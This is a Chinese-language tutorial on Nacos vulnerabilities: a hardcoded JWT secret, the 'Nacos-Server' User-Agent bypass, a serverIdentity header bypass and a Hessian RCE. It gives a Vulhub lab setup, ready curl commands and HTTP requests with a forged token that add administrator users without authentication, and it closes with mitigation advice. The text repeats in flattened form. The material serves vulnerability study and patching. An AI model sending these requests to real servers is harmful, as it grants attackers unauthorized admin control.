nacos相关漏洞学习
字数 2029 2025-08-23 18:31:17

Nacos相关漏洞分析与利用教学文档

目录

  1. 环境搭建
  2. JWT Secret Key硬编码导致的认证绕过漏洞(QVD-2023-6271)
  3. 不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441)
  4. Identity Key Value硬编码权限绕过
  5. Hessian反序列化RCE漏洞
  6. 总结与防护建议

1. 环境搭建

为了复现Nacos相关漏洞,推荐使用Vulhub环境:

# 下载并进入漏洞环境
cd vulhub-master/nacos/CVE-2021-29441

# 启动环境
docker-compose up -d

# 如果nacos服务启动失败(通常由于数据库连接问题)
docker-compose restart nacos  # 或重启所有服务

访问地址:http://127.0.0.1:8848/nacos/#/login
默认账号密码:nacos/nacos

2. JWT Secret Key硬编码导致的认证绕过漏洞(QVD-2023-6271)

漏洞描述

即使配置了NACOS_AUTH_ENABLE=true和自定义的NACOS_AUTH_TOKEN,系统仍使用默认的secret.key生成access_token,导致身份验证可以被绕过。

漏洞细节

  • 默认secret.key值:SecretKey012345678901234567890123456789012345678901234567890123456789
  • 该值可在application.properties中找到
  • 攻击者可利用该密钥伪造JWT token访问敏感API

利用方法

  1. 使用默认密钥生成JWT token
  2. 构造恶意请求添加管理员用户:
curl -XPOST 'http://ip:8848/nacos/v1/auth/users/?accessToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ&username=admin&password=123456'

影响版本

  • 所有使用默认secret.key且未正确配置自定义token的Nacos版本

3. 不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441)

漏洞描述

当请求的User-Agent为"Nacos-Server"时,Nacos会跳过所有认证检查。

影响版本

  • Nacos <= 1.4.1
  • 配置了身份验证(-Dnacos.core.auth.enabled=true)

利用方法

获取用户列表

GET /nacos/v1/auth/users?pageNo=1&pageSize=1 HTTP/1.1
Host: ip:8848
User-Agent: Nacos-Server

添加用户

POST /nacos/v1/auth/users?username=admin&password=123456 HTTP/1.1
Host: ip:8848
User-Agent: Nacos-Server

4. Identity Key Value硬编码权限绕过

漏洞描述

当请求头包含serverIdentity:security时,可以绕过权限认证。

影响版本

  • Nacos <= 2.2.0
  • 配置了nacos.core.auth.enabled=true

漏洞原理

代码位于AuthFilter.java,检查逻辑:

  1. 检查authConfigs是否设置了serverIdentityKeyserverIdentityValue
  2. 如果配置非空,从HTTP头部获取服务器身份信息
  3. 比较header中的value值与配置文件中nacos.core.auth.server.identity.value是否相同

利用方法

curl -XPOST 'http://ip:8848/nacos/v1/auth/users?username=admin2&password=123456' -H "serverIdentity: security"

5. Hessian反序列化RCE漏洞

漏洞描述

Nacos默认7848端口用于集群间Raft协议通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化,可能导致远程代码执行。

影响版本

  • 1.4.0 <= Nacos < 1.4.6
  • 2.0.0 <= Nacos < 2.2.3

利用方法

由于Hessian反序列化漏洞利用较为复杂,通常需要以下步骤:

  1. 识别开放的7848端口
  2. 构造恶意的Hessian序列化数据
  3. 发送到目标Nacos服务的7848端口
  4. 触发反序列化执行任意代码

6. 总结与防护建议

漏洞总结

漏洞类型 CVE/QVD编号 影响版本 关键点
JWT硬编码 QVD-2023-6271 所有版本 默认SecretKey0123...
User-Agent绕过 CVE-2021-29441 <=1.4.1 Nacos-Server头
Identity硬编码 - <=2.2.0 serverIdentity:security头
Hessian反序列化 - 1.4.0-1.4.6, 2.0.0-2.2.3 7848端口

防护建议

  1. 修改默认的secret.key为复杂随机值
  2. 升级到最新版本Nacos
  3. 限制7848端口的访问
  4. 配置自定义的serverIdentityKeyserverIdentityValue
  5. 实施网络隔离,限制Nacos控制台的访问
  6. 定期审计Nacos配置和用户列表

修复方案

  • 对于JWT硬编码问题:修改application.properties中的secret.key并重启服务
  • 对于CVE-2021-29441:升级到Nacos 1.4.2或更高版本
  • 对于Identity硬编码:升级到Nacos 2.2.1或更高版本
  • 对于Hessian反序列化:升级到Nacos 1.4.6/2.2.3或更高版本
Nacos相关漏洞分析与利用教学文档 目录 环境搭建 JWT Secret Key硬编码导致的认证绕过漏洞(QVD-2023-6271) 不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441) Identity Key Value硬编码权限绕过 Hessian反序列化RCE漏洞 总结与防护建议 1. 环境搭建 为了复现Nacos相关漏洞,推荐使用Vulhub环境: 访问地址: http://127.0.0.1:8848/nacos/#/login 默认账号密码:nacos/nacos 2. JWT Secret Key硬编码导致的认证绕过漏洞(QVD-2023-6271) 漏洞描述 即使配置了 NACOS_AUTH_ENABLE=true 和自定义的 NACOS_AUTH_TOKEN ,系统仍使用默认的 secret.key 生成access_ token,导致身份验证可以被绕过。 漏洞细节 默认 secret.key 值: SecretKey012345678901234567890123456789012345678901234567890123456789 该值可在 application.properties 中找到 攻击者可利用该密钥伪造JWT token访问敏感API 利用方法 使用默认密钥生成JWT token 构造恶意请求添加管理员用户: 影响版本 所有使用默认 secret.key 且未正确配置自定义token的Nacos版本 3. 不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441) 漏洞描述 当请求的User-Agent为"Nacos-Server"时,Nacos会跳过所有认证检查。 影响版本 Nacos <= 1.4.1 配置了身份验证( -Dnacos.core.auth.enabled=true ) 利用方法 获取用户列表 添加用户 4. Identity Key Value硬编码权限绕过 漏洞描述 当请求头包含 serverIdentity:security 时,可以绕过权限认证。 影响版本 Nacos <= 2.2.0 配置了 nacos.core.auth.enabled=true 漏洞原理 代码位于 AuthFilter.java ,检查逻辑: 检查 authConfigs 是否设置了 serverIdentityKey 和 serverIdentityValue 如果配置非空,从HTTP头部获取服务器身份信息 比较header中的value值与配置文件中 nacos.core.auth.server.identity.value 是否相同 利用方法 5. Hessian反序列化RCE漏洞 漏洞描述 Nacos默认7848端口用于集群间Raft协议通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化,可能导致远程代码执行。 影响版本 1.4.0 <= Nacos < 1.4.6 2.0.0 <= Nacos < 2.2.3 利用方法 由于Hessian反序列化漏洞利用较为复杂,通常需要以下步骤: 识别开放的7848端口 构造恶意的Hessian序列化数据 发送到目标Nacos服务的7848端口 触发反序列化执行任意代码 6. 总结与防护建议 漏洞总结 | 漏洞类型 | CVE/QVD编号 | 影响版本 | 关键点 | |---------|------------|---------|-------| | JWT硬编码 | QVD-2023-6271 | 所有版本 | 默认SecretKey0123... | | User-Agent绕过 | CVE-2021-29441 | <=1.4.1 | Nacos-Server头 | | Identity硬编码 | - | <=2.2.0 | serverIdentity:security头 | | Hessian反序列化 | - | 1.4.0-1.4.6, 2.0.0-2.2.3 | 7848端口 | 防护建议 修改默认的 secret.key 为复杂随机值 升级到最新版本Nacos 限制7848端口的访问 配置自定义的 serverIdentityKey 和 serverIdentityValue 实施网络隔离,限制Nacos控制台的访问 定期审计Nacos配置和用户列表 修复方案 对于JWT硬编码问题:修改 application.properties 中的 secret.key 并重启服务 对于CVE-2021-29441:升级到Nacos 1.4.2或更高版本 对于Identity硬编码:升级到Nacos 2.2.1或更高版本 对于Hessian反序列化:升级到Nacos 1.4.6/2.2.3或更高版本